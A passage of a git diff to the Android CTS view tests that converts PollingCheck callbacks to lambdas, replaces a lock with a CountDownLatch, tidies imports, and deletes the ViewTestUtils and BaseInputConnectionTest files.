         mPresentation.button1.setOnFocusChangeListener(listener);
@@ -718,12 +663,7 @@
         mPresentation.button3.setOnFocusChangeListener(listener);
         final Window presentationWindow = mPresentation.getWindow();
         presentationWindow.setLocalFocus(true, false);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mPresentation.button1.hasWindowFocus();
-            }
-        }.run();
+        PollingCheck.waitFor(() -> mPresentation.button1.hasWindowFocus());
         checkPresentationButtonFocus(true, false, false);
         assertFalse(mPresentation.button1.isInTouchMode());
         injectKeyEvent(presentationWindow, KeyEvent.KEYCODE_TAB);
@@ -733,19 +673,11 @@
 
         // check touch input injection
         presentationWindow.setLocalFocus(true, true);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mPresentation.button1.isInTouchMode();
-            }
-        }.run();
-        View.OnClickListener clickListener = new View.OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                Log.d(TAG, "onClick " + v);
-                if (v == mPresentation.button1) {
-                    waitingSemaphore.release();
-                }
+        PollingCheck.waitFor(() -> mPresentation.button1.isInTouchMode());
+        View.OnClickListener clickListener = (View v) -> {
+            Log.d(TAG, "onClick " + v);
+            if (v == mPresentation.button1) {
+                waitingSemaphore.release();
             }
         };
         mPresentation.button1.setOnClickListener(clickListener);
@@ -761,14 +693,9 @@
 
     private void checkPresentationButtonFocus(final boolean button1Focused,
             final boolean button2Focused, final boolean button3Focused) {
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return (mPresentation.button1.isFocused() == button1Focused) &&
+        PollingCheck.waitFor(() -> (mPresentation.button1.isFocused() == button1Focused) &&
                         (mPresentation.button2.isFocused() == button2Focused) &&
-                        (mPresentation.button3.isFocused() == button3Focused);
-            }
-        }.run();
+                        (mPresentation.button3.isFocused() == button3Focused));
     }
 
     private void injectKeyEvent(Window window, int keyCode) {
@@ -794,13 +721,11 @@
 
     private void createPresentation(final Surface surface, final int width,
             final int height) {
-        Context context = getInstrumentation().getTargetContext();
         DisplayManager displayManager =
-                (DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
+                (DisplayManager) mActivity.getSystemService(Context.DISPLAY_SERVICE);
         mVirtualDisplay = displayManager.createVirtualDisplay("localFocusTest",
                 width, height, 300, surface, 0);
-        mPresentation = new ProjectedPresentation(
-                context, mVirtualDisplay.getDisplay());
+        mPresentation = new ProjectedPresentation(mActivity, mVirtualDisplay.getDisplay());
         mPresentation.show();
     }
 
@@ -837,13 +762,7 @@
         @Override
         public void show() {
             super.show();
-            new Handler().post(new Runnable() {
-
-                @Override
-                public void run() {
-                    ready = true;
-                }
-            });
+            new Handler().post(() -> ready = true);
         }
     }
 
@@ -1050,110 +969,11 @@
         }
 
         @Override
+        public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode) {
+        }
+
+        @Override
         public void reportActivityRelaunched() {
         }
     }
-
-    private class MockWindowCallback implements Window.Callback {
-        private boolean mIsOnWindowAttributesChangedCalled;
-        private boolean mIsOnPanelClosedCalled;
-
-        public boolean dispatchKeyEvent(KeyEvent event) {
-            return true;
-        }
-
-        public boolean dispatchKeyShortcutEvent(KeyEvent event) {
-            return false;
-        }
-
-        public boolean dispatchTouchEvent(MotionEvent event) {
-            return true;
-        }
-
-        public boolean dispatchTrackballEvent(MotionEvent event) {
-            return true;
-        }
-
-        public boolean dispatchGenericMotionEvent(MotionEvent event) {
-            return true;
-        }
-
-        public boolean dispatchPopulateAccessibilityEvent(AccessibilityEvent event) {
-            return true;
-        }
-
-        public View onCreatePanelView(int featureId) {
-            return null;
-        }
-
-        public boolean onCreatePanelMenu(int featureId, Menu menu) {
-            return false;
-        }
-
-        public boolean onPreparePanel(int featureId, View view, Menu menu) {
-            return false;
-        }
-
-        public boolean onMenuOpened(int featureId, Menu menu) {
-            return false;
-        }
-
-        public boolean onMenuItemSelected(int featureId, MenuItem item) {
-            return true;
-        }
-
-        public void onWindowAttributesChanged(WindowManager.LayoutParams attrs) {
-            mIsOnWindowAttributesChangedCalled = true;
-        }
-
-        public boolean isOnWindowAttributesChangedCalled() {
-            return mIsOnWindowAttributesChangedCalled;
-        }
-
-        public void onContentChanged() {
-        }
-
-        public void onWindowFocusChanged(boolean hasFocus) {
-        }
-
-        public void onDetachedFromWindow() {
-        }
-
-        public void onAttachedToWindow() {
-        }
-
-        public void onPanelClosed(int featureId, Menu menu) {
-            mIsOnPanelClosedCalled = true;
-        }
-
-        public boolean isOnPanelClosedCalled() {
-            return mIsOnPanelClosedCalled;
-        }
-
-        public boolean onSearchRequested(SearchEvent searchEvent) {
-            return onSearchRequested();
-        }
-
-        public boolean onSearchRequested() {
-            return false;
-        }
-
-        public ActionMode onWindowStartingActionMode(ActionMode.Callback callback) {
-            return null;
-        }
-
-        public ActionMode onWindowStartingActionMode(
-                ActionMode.Callback callback, int type) {
-            return null;
-        }
-
-        public void onActionModeStarted(ActionMode mode) {
-        }
-
-        public void onActionModeFinished(ActionMode mode) {
-        }
-
-        public void onWindowDismissed() {
-        }
-    }
 }
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/AnimationTestCase.java b/tests/tests/view/src/android/view/cts/surfacevalidator/AnimationTestCase.java
index 6b455e2..74ee5ee 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/AnimationTestCase.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/AnimationTestCase.java
@@ -16,7 +16,6 @@
 package android.view.cts.surfacevalidator;
 
 import android.animation.ValueAnimator;
-import android.annotation.SuppressLint;
 import android.content.Context;
 import android.view.View;
 import android.widget.FrameLayout;
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 7d08fcd..eb59329 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -15,6 +15,8 @@
  */
 package android.view.cts.surfacevalidator;
 
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
 import android.content.Context;
 import android.content.Intent;
@@ -39,13 +41,11 @@
 import android.util.SparseArray;
 import android.view.Display;
 import android.view.View;
-import android.widget.FrameLayout;
-
 import android.view.cts.R;
+import android.widget.FrameLayout;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
-import static org.junit.Assert.*;
 
 
 public class CapturedActivity extends Activity {
@@ -63,7 +63,6 @@
     private VirtualDisplay mVirtualDisplay;
 
     private SurfacePixelValidator mSurfacePixelValidator;
-    private final Object mLock = new Object();
 
     public static final long CAPTURE_DURATION_MS = 10000;
     private static final int PERMISSION_DIALOG_WAIT_MS = 1000;
@@ -214,18 +213,19 @@
             mVirtualDisplay = null;
         }, END_CAPTURE_DELAY_MS);
 
+        final CountDownLatch latch = new CountDownLatch(1);
         mHandler.postDelayed(() -> {
             Log.d(TAG, "Ending test case");
             animationTestCase.end();
-            synchronized (mLock) {
-                mSurfacePixelValidator.finish(testResult);
-                mLock.notify();
-            }
+            mSurfacePixelValidator.finish(testResult);
+            latch.countDown();
             mSurfacePixelValidator = null;
         }, END_DELAY_MS);
 
-        synchronized (mLock) {
-            mLock.wait(TIME_OUT_MS);
+        boolean latchResult = latch.await(TIME_OUT_MS, TimeUnit.MILLISECONDS);
+        if (!latchResult) {
+            testResult.passFrames = 0;
+            testResult.failFrames = 1000;
         }
         Log.d(TAG, "Test finished, passFrames " + testResult.passFrames
                 + ", failFrames " + testResult.failFrames);
@@ -242,4 +242,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/view/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java b/tests/tests/view/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
index 5a30b77..9523b32 100644
--- a/tests/tests/view/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
+++ b/tests/tests/view/src/android/view/cts/surfacevalidator/SurfacePixelValidator.java
@@ -28,11 +28,6 @@
 import android.util.Log;
 import android.util.SparseArray;
 import android.view.Surface;
-import android.view.cts.surfacevalidator.PixelChecker;
-
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
 
 public class SurfacePixelValidator {
     private static final String TAG = "SurfacePixelValidator";
@@ -83,6 +78,7 @@
             synchronized (mResultLock) {
                 if (numSkipped < NUM_FIRST_FRAMES_SKIPPED) {
                     numSkipped++;
+                    Log.d(TAG, "skipped frame nr " + numSkipped + ", success = " + success);
                 } else {
                     if (success) {
                         mResultSuccessFrames++;
diff --git a/tests/tests/view/src/android/view/cts/util/DrawingUtils.java b/tests/tests/view/src/android/view/cts/util/DrawingUtils.java
index 3be7447..ce8a0f7 100644
--- a/tests/tests/view/src/android/view/cts/util/DrawingUtils.java
+++ b/tests/tests/view/src/android/view/cts/util/DrawingUtils.java
@@ -23,6 +23,7 @@
 import android.graphics.Rect;
 import android.util.Pair;
 import android.view.View;
+
 import junit.framework.Assert;
 
 import java.util.List;
diff --git a/tests/tests/view/src/android/view/cts/util/ViewTestUtils.java b/tests/tests/view/src/android/view/cts/util/ViewTestUtils.java
deleted file mode 100644
index b70e882..0000000
--- a/tests/tests/view/src/android/view/cts/util/ViewTestUtils.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts.util;
-
-import junit.framework.Assert;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.view.View;
-import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnDrawListener;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utilities for testing View behavior.
- */
-public class ViewTestUtils {
-
-    /**
-     * Runs the specified Runnable on the main thread and ensures that the
-     * specified View's tree is drawn before returning.
-     *
-     * @param instrumentation the instrumentation used to run the test
-     * @param view the view whose tree should be drawn before returning
-     * @param runner the runnable to run on the main thread
-     */
-    public static void runOnMainAndDrawSync(Instrumentation instrumentation,
-            final Activity activity, final Runnable runner) {
-        final CountDownLatch latch = new CountDownLatch(1);
-
-        instrumentation.runOnMainSync(() -> {
-            final View view = activity.findViewById(android.R.id.content);
-            final ViewTreeObserver observer = view.getViewTreeObserver();
-            final OnDrawListener listener = new OnDrawListener() {
-                @Override
-                public void onDraw() {
-                    observer.removeOnDrawListener(this);
-                    view.post(() -> latch.countDown());
-                }
-            };
-
-            observer.addOnDrawListener(listener);
-            runner.run();
-        });
-
-        try {
-            Assert.assertTrue("Expected draw pass occurred within 5 seconds",
-                    latch.await(5, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            throw new RuntimeException(e);
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/util/XmlUtils.java b/tests/tests/view/src/android/view/cts/util/XmlUtils.java
index f1df4ff..77d53e6 100644
--- a/tests/tests/view/src/android/view/cts/util/XmlUtils.java
+++ b/tests/tests/view/src/android/view/cts/util/XmlUtils.java
@@ -16,10 +16,6 @@
 
 package android.view.cts.util;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlSerializer;
-
 import android.graphics.Bitmap;
 import android.graphics.Bitmap.CompressFormat;
 import android.graphics.BitmapFactory;
@@ -28,6 +24,10 @@
 import android.util.Base64;
 import android.util.Xml;
 
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlSerializer;
+
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/tests/view/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
deleted file mode 100644
index ba239af..0000000
--- a/tests/tests/view/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ /dev/null
@@ -1,521 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-import android.app.Instrumentation;
-import android.content.ClipDescription;
-import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.net.Uri;
-import android.os.Bundle;
-import android.test.ActivityInstrumentationTestCase2;
-import android.text.Editable;
-import android.text.Selection;
-import android.text.Spannable;
-import android.text.SpannableString;
-import android.text.TextUtils;
-import android.view.KeyCharacterMap;
-import android.view.KeyEvent;
-import android.view.View;
-import android.view.Window;
-import android.view.cts.R;
-import android.view.inputmethod.BaseInputConnection;
-import android.view.inputmethod.CompletionInfo;
-import android.view.inputmethod.ExtractedTextRequest;
-import android.view.inputmethod.InputContentInfo;
-import android.view.inputmethod.InputMethodManager;
-import android.view.inputmethod.cts.util.InputConnectionTestUtils;
-import android.widget.EditText;
-
-public class BaseInputConnectionTest extends
-        ActivityInstrumentationTestCase2<InputMethodCtsActivity> {
-
-    private InputMethodCtsActivity mActivity;
-    private Window mWindow;
-    private EditText mView;
-    private BaseInputConnection mConnection;
-    private Instrumentation mInstrumentation;
-
-    public BaseInputConnectionTest() {
-        super("android.view.cts", InputMethodCtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mWindow = mActivity.getWindow();
-        mView = (EditText) mWindow.findViewById(R.id.entry);
-        mConnection = new BaseInputConnection(mView, true);
-    }
-
-    public void testDefaultMethods() {
-        // These methods are default to return fixed result.
-
-        assertFalse(mConnection.beginBatchEdit());
-        assertFalse(mConnection.endBatchEdit());
-
-        // only fit for test default implementation of commitCompletion.
-        int completionId = 1;
-        String completionString = "commitCompletion test";
-        assertFalse(mConnection.commitCompletion(new CompletionInfo(completionId,
-                0, completionString)));
-
-        assertNull(mConnection.getExtractedText(new ExtractedTextRequest(), 0));
-
-        // only fit for test default implementation of performEditorAction.
-        int actionCode = 1;
-        int actionId = 2;
-        String action = "android.intent.action.MAIN";
-        assertTrue(mConnection.performEditorAction(actionCode));
-        assertFalse(mConnection.performContextMenuAction(actionId));
-        assertFalse(mConnection.performPrivateCommand(action, new Bundle()));
-    }
-
-    public void testOpComposingSpans() {
-        Spannable text = new SpannableString("Test ComposingSpans");
-        BaseInputConnection.setComposingSpans(text);
-        assertTrue(BaseInputConnection.getComposingSpanStart(text) > -1);
-        assertTrue(BaseInputConnection.getComposingSpanEnd(text) > -1);
-        BaseInputConnection.removeComposingSpans(text);
-        assertTrue(BaseInputConnection.getComposingSpanStart(text) == -1);
-        assertTrue(BaseInputConnection.getComposingSpanEnd(text) == -1);
-    }
-
-    /**
-     * getEditable: Return the target of edit operations. The default implementation
-     *              returns its own fake editable that is just used for composing text.
-     * clearMetaKeyStates: Default implementation uses
-     *              MetaKeyKeyListener#clearMetaKeyState(long, int) to clear the state.
-     *              BugId:1738511
-     * commitText: 1. Default implementation replaces any existing composing text with the given
-     *                text.
-     *             2. In addition, only if dummy mode, a key event is sent for the new text and the
-     *                current editable buffer cleared.
-     * deleteSurroundingText: The default implementation performs the deletion around the current
-     *              selection position of the editable text.
-     * getCursorCapsMode: 1. The default implementation uses TextUtils.getCapsMode to get the
-     *                  cursor caps mode for the current selection position in the editable text.
-     *                  TextUtils.getCapsMode is tested fully in TextUtilsTest#testGetCapsMode.
-     *                    2. In dummy mode in which case 0 is always returned.
-     * getTextBeforeCursor, getTextAfterCursor: The default implementation performs the deletion
-     *                          around the current selection position of the editable text.
-     * setSelection: changes the selection position in the current editable text.
-     */
-    public void testOpTextMethods() throws Throwable {
-        // return is an default Editable instance with empty source
-        final Editable text = mConnection.getEditable();
-        assertNotNull(text);
-        assertEquals(0, text.length());
-
-        // Test commitText, not dummy mode
-        CharSequence str = "TestCommit ";
-        Editable inputText = Editable.Factory.getInstance().newEditable(str);
-        mConnection.commitText(inputText, inputText.length());
-        final Editable text2 = mConnection.getEditable();
-        int strLength = str.length();
-        assertEquals(strLength, text2.length());
-        assertEquals(str.toString(), text2.toString());
-        assertEquals(TextUtils.CAP_MODE_WORDS,
-                mConnection.getCursorCapsMode(TextUtils.CAP_MODE_WORDS));
-        int offLength = 3;
-        CharSequence expected = str.subSequence(strLength - offLength, strLength);
-        assertEquals(expected.toString(), mConnection.getTextBeforeCursor(offLength,
-                BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
-        mConnection.setSelection(0, 0);
-        expected = str.subSequence(0, offLength);
-        assertEquals(expected.toString(), mConnection.getTextAfterCursor(offLength,
-                BaseInputConnection.GET_TEXT_WITH_STYLES).toString());
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertTrue(mView.requestFocus());
-                assertTrue(mView.isFocused());
-            }
-        });
-
-        // dummy mode
-        BaseInputConnection dummyConnection = new BaseInputConnection(mView, false);
-        dummyConnection.commitText(inputText, inputText.length());
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return text2.toString().equals(mView.getText().toString());
-            }
-        }.run();
-        assertEquals(0, dummyConnection.getCursorCapsMode(TextUtils.CAP_MODE_WORDS));
-
-        // Test deleteSurroundingText
-        int end = text2.length();
-        mConnection.setSelection(end, end);
-        // Delete the ending space
-        assertTrue(mConnection.deleteSurroundingText(1, 2));
-        Editable text3 = mConnection.getEditable();
-        assertEquals(strLength - 1, text3.length());
-        String expectedDelString = "TestCommit";
-        assertEquals(expectedDelString, text3.toString());
-    }
-
-    /**
-     * finishComposingText: 1. The default implementation removes the composing state from the
-     *                         current editable text.
-     *                      2. In addition, only if dummy mode, a key event is sent for the new
-     *                         text and the current editable buffer cleared.
-     * setComposingText: The default implementation places the given text into the editable,
-     *                  replacing any existing composing text
-     */
-    public void testFinishComposingText() throws Throwable {
-        CharSequence str = "TestFinish";
-        Editable inputText = Editable.Factory.getInstance().newEditable(str);
-        mConnection.commitText(inputText, inputText.length());
-        final Editable text = mConnection.getEditable();
-        // Test finishComposingText, not dummy mode
-        BaseInputConnection.setComposingSpans(text);
-        assertTrue(BaseInputConnection.getComposingSpanStart(text) > -1);
-        assertTrue(BaseInputConnection.getComposingSpanEnd(text) > -1);
-        mConnection.finishComposingText();
-        assertTrue(BaseInputConnection.getComposingSpanStart(text) == -1);
-        assertTrue(BaseInputConnection.getComposingSpanEnd(text) == -1);
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertTrue(mView.requestFocus());
-                assertTrue(mView.isFocused());
-            }
-        });
-
-        // dummy mode
-        BaseInputConnection dummyConnection = new BaseInputConnection(mView, false);
-        dummyConnection.setComposingText(str, str.length());
-        dummyConnection.finishComposingText();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return text.toString().equals(mView.getText().toString());
-            }
-        }.run();
-    }
-
-    /**
-     * Provides standard implementation for sending a key event to the window
-     * attached to the input connection's view
-     */
-    public void testSendKeyEvent() throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                assertTrue(mView.requestFocus());
-                assertTrue(mView.isFocused());
-            }
-        });
-
-        // 12-key support
-        KeyCharacterMap keymap = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
-        if (keymap.getKeyboardType() == KeyCharacterMap.NUMERIC) {
-            // 'Q' in case of 12-key(NUMERIC) keyboard
-            mConnection.sendKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_7));
-            mConnection.sendKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_7));
-        }
-        else {
-            mInstrumentation.sendStringSync("q");
-            mInstrumentation.waitForIdleSync();
-        }
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return "q".equals(mView.getText().toString());
-            }
-        }.run();
-    }
-
-    /**
-     * Updates InputMethodManager with the current fullscreen mode.
-     */
-    public void testReportFullscreenMode() {
-        InputMethodManager imManager = (InputMethodManager) mInstrumentation.getTargetContext()
-                .getSystemService(Context.INPUT_METHOD_SERVICE);
-        mConnection.reportFullscreenMode(false);
-        assertFalse(imManager.isFullscreenMode());
-        mConnection.reportFullscreenMode(true);
-        // Only IMEs are allowed to report full-screen mode.  Calling this method from the
-        // application should have no effect.
-        assertFalse(imManager.isFullscreenMode());
-    }
-
-    /**
-     * An utility method to create an instance of {@link BaseInputConnection} in dummy mode with
-     * an initial text and selection range.
-     * @param view the {@link View} to be associated with the {@link BaseInputConnection}.
-     * @param source the initial text.
-     * @return {@link BaseInputConnection} instantiated in dummy mode with {@code source} and
-     * selection range from {@code selectionStart} to {@code selectionEnd}
-     */
-    private static BaseInputConnection createDummyConnectionWithSelection(
-            final View view, final CharSequence source) {
-        final int selectionStart = Selection.getSelectionStart(source);
-        final int selectionEnd = Selection.getSelectionEnd(source);
-        final Editable editable = Editable.Factory.getInstance().newEditable(source);
-        Selection.setSelection(editable, selectionStart, selectionEnd);
-        return new BaseInputConnection(view, false) {
-            @Override
-            public Editable getEditable() {
-                return editable;
-            }
-        };
-    }
-
-    private void testDeleteSurroundingTextMain(final String initialState,
-            final int deleteBefore, final int deleteAfter, final String expectedState) {
-        final CharSequence source = InputConnectionTestUtils.formatString(initialState);
-        final BaseInputConnection ic = createDummyConnectionWithSelection(mView, source);
-        ic.deleteSurroundingText(deleteBefore, deleteAfter);
-
-        final CharSequence expectedString = InputConnectionTestUtils.formatString(expectedState);
-        final int expectedSelectionStart = Selection.getSelectionStart(expectedString);
-        final int expectedSelectionEnd = Selection.getSelectionEnd(expectedString);
-
-        // It is sufficient to check the surrounding text up to source.length() characters, because
-        // InputConnection.deleteSurroundingText() is not supposed to increase the text length.
-        final int retrievalLength = source.length();
-        if (expectedSelectionStart == 0) {
-            assertTrue(TextUtils.isEmpty(ic.getTextBeforeCursor(retrievalLength, 0)));
-        } else {
-            assertEquals(expectedString.subSequence(0, expectedSelectionStart).toString(),
-                    ic.getTextBeforeCursor(retrievalLength, 0).toString());
-        }
-        if (expectedSelectionStart == expectedSelectionEnd) {
-            assertTrue(TextUtils.isEmpty(ic.getSelectedText(0)));  // null is allowed.
-        } else {
-            assertEquals(expectedString.subSequence(expectedSelectionStart,
-                    expectedSelectionEnd).toString(), ic.getSelectedText(0).toString());
-        }
-        if (expectedSelectionEnd == expectedString.length()) {
-            assertTrue(TextUtils.isEmpty(ic.getTextAfterCursor(retrievalLength, 0)));
-        } else {
-            assertEquals(expectedString.subSequence(expectedSelectionEnd,
-                    expectedString.length()).toString(),
-                    ic.getTextAfterCursor(retrievalLength, 0).toString());
-        }
-    }
-
-    /**
-     * Tests {@link BaseInputConnection#deleteSurroundingText(int, int)} comprehensively.
-     */
-    public void testDeleteSurroundingText() throws Throwable {
-        testDeleteSurroundingTextMain("012[]3456789", 0, 0, "012[]3456789");
-        testDeleteSurroundingTextMain("012[]3456789", -1, -1, "012[]3456789");
-        testDeleteSurroundingTextMain("012[]3456789", 1, 2, "01[]56789");
-        testDeleteSurroundingTextMain("012[]3456789", 10, 1, "[]456789");
-        testDeleteSurroundingTextMain("012[]3456789", 1, 10, "01[]");
-        testDeleteSurroundingTextMain("[]0123456789", 3, 3, "[]3456789");
-        testDeleteSurroundingTextMain("0123456789[]", 3, 3, "0123456[]");
-        testDeleteSurroundingTextMain("012[345]6789", 0, 0, "012[345]6789");
-        testDeleteSurroundingTextMain("012[345]6789", -1, -1, "012[345]6789");
-        testDeleteSurroundingTextMain("012[345]6789", 1, 2, "01[345]89");
-        testDeleteSurroundingTextMain("012[345]6789", 10, 1, "[345]789");
-        testDeleteSurroundingTextMain("012[345]6789", 1, 10, "01[345]");
-        testDeleteSurroundingTextMain("[012]3456789", 3, 3, "[012]6789");
-        testDeleteSurroundingTextMain("0123456[789]", 3, 3, "0123[789]");
-        testDeleteSurroundingTextMain("[0123456789]", 0, 0, "[0123456789]");
-        testDeleteSurroundingTextMain("[0123456789]", 1, 1, "[0123456789]");
-
-        // Surrogate characters do not have any special meanings.  Validating the character sequence
-        // is beyond the goal of this API.
-        testDeleteSurroundingTextMain("0<>[]3456789", 1, 0, "0<[]3456789");
-        testDeleteSurroundingTextMain("0<>[]3456789", 2, 0, "0[]3456789");
-        testDeleteSurroundingTextMain("0<>[]3456789", 3, 0, "[]3456789");
-        testDeleteSurroundingTextMain("012[]<>56789", 0, 1, "012[]>56789");
-        testDeleteSurroundingTextMain("012[]<>56789", 0, 2, "012[]56789");
-        testDeleteSurroundingTextMain("012[]<>56789", 0, 3, "012[]6789");
-        testDeleteSurroundingTextMain("0<<[]3456789", 1, 0, "0<[]3456789");
-        testDeleteSurroundingTextMain("0<<[]3456789", 2, 0, "0[]3456789");
-        testDeleteSurroundingTextMain("0<<[]3456789", 3, 0, "[]3456789");
-        testDeleteSurroundingTextMain("012[]<<56789", 0, 1, "012[]<56789");
-        testDeleteSurroundingTextMain("012[]<<56789", 0, 2, "012[]56789");
-        testDeleteSurroundingTextMain("012[]<<56789", 0, 3, "012[]6789");
-        testDeleteSurroundingTextMain("0>>[]3456789", 1, 0, "0>[]3456789");
-        testDeleteSurroundingTextMain("0>>[]3456789", 2, 0, "0[]3456789");
-        testDeleteSurroundingTextMain("0>>[]3456789", 3, 0, "[]3456789");
-        testDeleteSurroundingTextMain("012[]>>56789", 0, 1, "012[]>56789");
-        testDeleteSurroundingTextMain("012[]>>56789", 0, 2, "012[]56789");
-        testDeleteSurroundingTextMain("012[]>>56789", 0, 3, "012[]6789");
-    }
-
-    private void testDeleteSurroundingTextInCodePointsMain(final String initialState,
-            final int deleteBeforeInCodePoints, final int deleteAfterInCodePoints,
-            final String expectedState) {
-        final CharSequence source = InputConnectionTestUtils.formatString(initialState);
-        final BaseInputConnection ic = createDummyConnectionWithSelection(mView, source);
-        ic.deleteSurroundingTextInCodePoints(deleteBeforeInCodePoints, deleteAfterInCodePoints);
-
-        final CharSequence expectedString = InputConnectionTestUtils.formatString(expectedState);
-        final int expectedSelectionStart = Selection.getSelectionStart(expectedString);
-        final int expectedSelectionEnd = Selection.getSelectionEnd(expectedString);
-
-        // It is sufficient to check the surrounding text up to source.length() characters, because
-        // InputConnection.deleteSurroundingTextInCodePoints() is not supposed to increase the text
-        // length.
-        final int retrievalLength = source.length();
-        if (expectedSelectionStart == 0) {
-            assertTrue(TextUtils.isEmpty(ic.getTextBeforeCursor(retrievalLength, 0)));
-        } else {
-            assertEquals(expectedString.subSequence(0, expectedSelectionStart).toString(),
-                    ic.getTextBeforeCursor(retrievalLength, 0).toString());
-        }
-        if (expectedSelectionStart == expectedSelectionEnd) {
-            assertTrue(TextUtils.isEmpty(ic.getSelectedText(0)));  // null is allowed.
-        } else {
-            assertEquals(expectedString.subSequence(expectedSelectionStart,
-                    expectedSelectionEnd).toString(), ic.getSelectedText(0).toString());
-        }
-        if (expectedSelectionEnd == expectedString.length()) {
-            assertTrue(TextUtils.isEmpty(ic.getTextAfterCursor(retrievalLength, 0)));
-        } else {
-            assertEquals(expectedString.subSequence(expectedSelectionEnd,
-                    expectedString.length()).toString(),
-                    ic.getTextAfterCursor(retrievalLength, 0).toString());
-        }
-    }
-
-    /**
-     * Tests {@link BaseInputConnection#deleteSurroundingTextInCodePoints(int, int)}
-     * comprehensively.
-     */
-    public void testDeleteSurroundingTextInCodePoints() throws Throwable {
-        testDeleteSurroundingTextInCodePointsMain("012[]3456789", 0, 0, "012[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]3456789", -1, -1, "012[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]3456789", 1, 2, "01[]56789");
-        testDeleteSurroundingTextInCodePointsMain("012[]3456789", 10, 1, "[]456789");
-        testDeleteSurroundingTextInCodePointsMain("012[]3456789", 1, 10, "01[]");
-        testDeleteSurroundingTextInCodePointsMain("[]0123456789", 3, 3, "[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0123456789[]", 3, 3, "0123456[]");
-        testDeleteSurroundingTextInCodePointsMain("012[345]6789", 0, 0, "012[345]6789");
-        testDeleteSurroundingTextInCodePointsMain("012[345]6789", -1, -1, "012[345]6789");
-        testDeleteSurroundingTextInCodePointsMain("012[345]6789", 1, 2, "01[345]89");
-        testDeleteSurroundingTextInCodePointsMain("012[345]6789", 10, 1, "[345]789");
-        testDeleteSurroundingTextInCodePointsMain("012[345]6789", 1, 10, "01[345]");
-        testDeleteSurroundingTextInCodePointsMain("[012]3456789", 3, 3, "[012]6789");
-        testDeleteSurroundingTextInCodePointsMain("0123456[789]", 3, 3, "0123[789]");
-        testDeleteSurroundingTextInCodePointsMain("[0123456789]", 0, 0, "[0123456789]");
-        testDeleteSurroundingTextInCodePointsMain("[0123456789]", 1, 1, "[0123456789]");
-
-        testDeleteSurroundingTextInCodePointsMain("0<>[]3456789", 1, 0, "0[]3456789");
-        testDeleteSurroundingTextInCodePointsMain("0<>[]3456789", 2, 0, "[]3456789");
